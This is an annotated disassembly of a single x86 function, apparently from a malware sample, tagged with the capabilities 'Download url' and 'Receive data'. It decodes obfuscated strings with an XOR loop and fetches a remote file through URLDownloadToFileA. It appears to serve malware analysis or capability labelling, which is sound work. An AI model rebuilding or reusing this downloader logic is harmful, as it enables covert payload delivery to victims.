Function at 0x10019470
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004e369
mov eax, dword fs:[0]
push eax
sub esp, 0xc60
mov eax, dword [0x1005d500]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 8]
xor ecx, ecx
mov dword [ebp - 0xc5c], eax
mov byte [ebp - 0xc55], cl
mov dword [ebp - method.FileService.virtual_0], vtable.FileService.0
mov dword [ebp - 4], ecx
mov dword [ebp - method.CodeService.virtual_0], vtable.CodeService.0
mov byte [ebp - 4], 1
cmp dword [eax + 0xc], 7
jne 0x100194da
mov al, 1
jmp 0x10019b33
add eax, 0x70
mov byte [ebp - 4], 2
cmp dword [eax + 0x14], 0x10
mov dword [ebp - 0xc60], eax
jb 0x100194ef
mov eax, dword [eax]
mov edi, eax
lea esi, [ebp - 0xc1c]
call fcn.10020700
lea ecx, [ebp - 0xc00]
push ecx
mov ecx, eax
mov ebx, 0x100a1fd8
mov byte [ebp - 4], 3
call fcn.10019b70
add esp, 4
mov esi, dword [ebp - 0xc5c]
add esi, 0x8c
mov edi, eax
mov byte [ebp - 4], 4
call fcn.100029b0
mov ebx, 0x10
cmp dword [ebp - 0xbec], ebx
jb 0x10019549
mov edx, dword [ebp - 0xc00]
push edx
call fcn.10032d80
add esp, 4
xor esi, esi
mov edi, 0xf
mov dword [ebp - 0xbec], edi
mov dword [ebp - 0xbf0], esi
mov byte [ebp - 0xc00], 0
cmp dword [ebp - 0xc08], ebx
jb 0x1001957a
mov eax, dword [ebp - 0xc1c]
push eax
call fcn.10032d80
add esp, 4
mov dword [ebp - 0xc24], edi
mov dword [ebp - 0xc28], esi
mov byte [ebp - 0xc38], 0
mov dword [ebp - 0xc10], esi
mov dword [ebp - 0xc0c], esi
mov dword [ebp - 0xc08], esi
mov ecx, dword [ebp - 0xc60]
push 0xffffffffffffffff
push esi
push ecx
lea ecx, [ebp - 0xc38]
mov byte [ebp - 4], 6
call fcn.10002da0
lea ecx, [ebp - 0xc38]
lea edi, [ebp - 0xc10]
call fcn.1000b1c0
mov dword [ebp - method.CodeService.virtual_0], vtable.CodeService.0
push 0x3ff
lea edx, [ebp - 0x413]
push 0
mov byte [ebp - 4], 7
push edx
mov byte [ebp - 0x414], 0
call fcn.10037e20
mov ecx, dword [0x10053824]
mov eax, dword [0x10053820]
mov edx, dword [0x10053828]
mov dword [ebp - 0x410], ecx
mov cx, word [0x10053830]
mov dword [ebp - 0x414], eax
mov eax, dword [0x1005382c]
mov dword [ebp - 0x40c], edx
mov dl, byte [0x10053832]
mov ebx, 0x13
add esp, 0xc
mov word [ebp - 0x404], cx
mov dword [ebp - 0x408], eax
mov byte [ebp - 0x402], dl
lea esi, [ebp - 0x414]
lea edi, [ebx - 3]
xor ecx, ecx
lea esp, [esp]
cmp ecx, ebx
jge 0x1001966f
mov eax, ecx
cdq
idiv edi
mov al, byte [ebp + ecx - 0x414]
sub al, cl
xor al, byte [edx + 0x10053864]
inc ecx
mov byte [ecx + esi - 1], al
jmp 0x10019650
lea eax, [ebp - 0x414]
mov dword [ebp - 0xbec], 0xf
mov dword [ebp - 0xbf0], 0
mov byte [ebp - 0xc00], 0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10019693
sub eax, edx
push eax
lea ecx, [ebp - 0x414]
push ecx
lea ecx, [ebp - 0xc00]
call fcn.100028b0
lea ecx, [ebp - 0xc00]
lea edi, [ebp - 0xc10]
mov byte [ebp - 4], 8
call fcn.1000b1c0
mov edi, 0x10
mov byte [ebp - 4], 7
cmp dword [ebp - 0xbec], edi
jb 0x100196e4
mov edx, dword [ebp - 0xc00]
push edx
call fcn.10032d80
add esp, 4
mov ecx, dword [0x10053838]
mov eax, dword [0x10053834]
mov edx, dword [0x1005383c]
mov dword [ebp - 0x410], ecx
mov ecx, dword [0x10053844]
mov dword [ebp - 0x414], eax
mov eax, dword [0x10053840]
mov dword [ebp - 0x40c], edx
mov dx, word [0x10053848]
mov dword [ebp - 0x404], ecx
mov ebx, 0x16
mov dword [ebp - 0x408], eax
mov word [ebp - 0x400], dx
lea esi, [ebp - 0x414]
xor ecx, ecx
lea esp, [esp]
cmp ecx, ebx
jge 0x1001975f
mov eax, ecx
cdq
idiv edi
mov al, byte [ebp + ecx - 0x414]
sub al, cl
xor al, byte [edx + 0x10053864]
inc ecx
mov byte [ecx + esi - 1], al
jmp 0x10019740
lea eax, [ebp - 0x414]
mov dword [ebp - 0xbec], 0xf
mov dword [ebp - 0xbf0], 0
mov byte [ebp - 0xc00], 0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10019783
sub eax, edx
push eax
lea ecx, [ebp - 0x414]
push ecx
lea ecx, [ebp - 0xc00]
call fcn.100028b0
lea ecx, [ebp - 0xc00]
lea edi, [ebp - 0xc10]
mov byte [ebp - 4], 9
call fcn.1000b1c0
mov ebx, 0x10
mov byte [ebp - 4], 7
cmp dword [ebp - 0xbec], ebx
jb 0x100197d4
mov edx, dword [ebp - 0xc00]
push edx
call fcn.10032d80
add esp, 4
mov ecx, dword [0x10053850]
mov eax, dword [0x1005384c]
mov edx, dword [0x10053854]
mov dword [ebp - 0x410], ecx
mov ecx, dword [0x1005385c]
mov dword [ebp - 0x414], eax
mov eax, dword [0x10053858]
mov dword [ebp - 0x40c], edx
mov dx, word [0x10053860]
mov dword [ebp - 0x404], ecx
mov dword [ebp - 0xc60], 0x16
mov dword [ebp - 0x408], eax
mov word [ebp - 0x400], dx
lea esi, [ebp - 0x414]
mov edi, ebx
xor ecx, ecx
cmp ecx, dword [ebp - 0xc60]
jge 0x10019855
mov eax, ecx
cdq
idiv edi
mov bl, byte [ebp + ecx - 0x414]
sub bl, cl
xor bl, byte [edx + 0x10053864]
inc ecx
mov byte [ecx + esi - 1], bl
mov ebx, edi
jmp 0x10019830
lea eax, [ebp - 0x414]
mov dword [ebp - 0xbec], 0xf
mov dword [ebp - 0xbf0], 0
mov byte [ebp - 0xc00], 0
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10019880
sub eax, edx
push eax
lea eax, [ebp - 0x414]
push eax
lea ecx, [ebp - 0xc00]
call fcn.100028b0
lea ecx, [ebp - 0xc00]
lea edi, [ebp - 0xc10]
mov byte [ebp - 4], 0xa
call fcn.1000b1c0
mov byte [ebp - 4], 7
cmp dword [ebp - 0xbec], ebx
jb 0x100198cc
mov ecx, dword [ebp - 0xc00]
push ecx
call fcn.10032d80
add esp, 4
lea edx, [ebp - 0xc10]
push edx
lea eax, [ebp - 0xc54]
push eax
call fcn.10018cd0
add esp, 8
mov byte [ebp - 4], 0xb
cmp dword [ebp - 0xc44], 0
jbe 0x10019a02
mov ecx, dword [ebp - 0xc38]
cmp dword [ebp - 0xc24], ebx
jae 0x10019907
lea ecx, [ebp - 0xc38]
mov eax, dword [ebp - 0xc54]
cmp dword [ebp - 0xc40], ebx
jae 0x1001991b
lea eax, [ebp - 0xc54]
push ecx
push eax
call fcn.10049a50
add esp, 8
test eax, eax
je 0x10019a02
push 0x3e8
lea ecx, [ebp - 0xbe4]
push 0
push ecx
call fcn.10037e20
push 0x3e8
lea edx, [ebp - 0x7fc]
push 0
push edx
call fcn.10037e20
mov ecx, dword [ebp - 0xc38]
add esp, 0x18
cmp dword [ebp - 0xc24], ebx
jae 0x1001996a
lea ecx, [ebp - 0xc38]
lea edx, [ebp - 0xbe4]
mov al, byte [ecx]
mov byte [edx], al
inc ecx
inc edx
test al, al
jne 0x10019970
lea eax, [ebp - 0xbdc]
push 0x10053aa4
push eax
call fcn.10036580
add esp, 8
test eax, eax
je 0x10019a02
lea edx, [ebp - 0x414]
lea esi, [ebp - 0x7fc]
mov edi, edi
mov cl, byte [edx]
mov byte [esi], cl
inc edx
inc esi
test cl, cl
jne 0x100199a0
mov edx, eax
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100199b0
lea edi, [ebp - 0x7fc]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x100199c0
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x7fc]
rep movsb byte es:[edi], byte [esi]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100199e1
mov edi, dword [ebp - 0xc5c]
sub eax, edx
push eax
lea edx, [ebp - 0x7fc]
lea ecx, [edi + 0x70]
push edx
call fcn.100028b0
jmp 0x10019a08
mov edi, dword [ebp - 0xc5c]
cmp dword [edi + 0xa0], ebx
jb 0x10019a18
mov ecx, dword [edi + 0x8c]
jmp 0x10019a1e
lea ecx, [edi + 0x8c]
cmp dword [edi + 0x84], ebx
lea eax, [edi + 0x70]
jb 0x10019a2b
mov eax, dword [eax]
push 0
push 0
push ecx
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
je 0x10019a96
cmp dword [edi + 0xa0], ebx
jb 0x10019a4d
mov eax, dword [edi + 0x8c]
jmp 0x10019a53
lea eax, [edi + 0x8c]
push 0
push eax
call fcn.10036edb
add esp, 8
cmp eax, 0xffffffff
je 0x10019a82
cmp dword [edi + 0xa0], ebx
jb 0x10019a73
mov eax, dword [edi + 0x8c]
jmp 0x10019a79
lea eax, [edi + 0x8c]
push eax
call fcn.10036f23
add esp, 4
push 0
push 0x10053520
lea ecx, [edi + 0x8c]
call fcn.100028b0
jmp 0x10019a9d
mov byte [ebp - 0xc55], 1
cmp dword [ebp - 0xc40], ebx
jb 0x10019ab4
mov eax, dword [ebp - 0xc54]
push eax
call fcn.10032d80
add esp, 4
mov ebx, dword [ebp - 0xc10]
mov dword [ebp - 0xc40], 0xf
mov dword [ebp - 0xc44], 0
mov byte [ebp - 0xc54], 0
test ebx, ebx
je 0x10019b15
mov edi, dword [ebp - 0xc0c]
mov esi, ebx
cmp esi, edi
je 0x10019b0c
cmp dword [esi + 0x14], 0x10
jb 0x10019af6
mov ecx, dword [esi]
push ecx
call fcn.10032d80
add esp, 4
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], 0
mov byte [esi], 0
add esi, 0x1c
jmp 0x10019ae1
push ebx
call fcn.10032d80
add esp, 4
cmp dword [ebp - 0xc24], 0x10
jb 0x10019b2d
mov edx, dword [ebp - 0xc38]
push edx
call fcn.10032d80
add esp, 4
mov al, byte [ebp - 0xc55]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10034d1a
mov esp, ebp
pop ebp
ret 4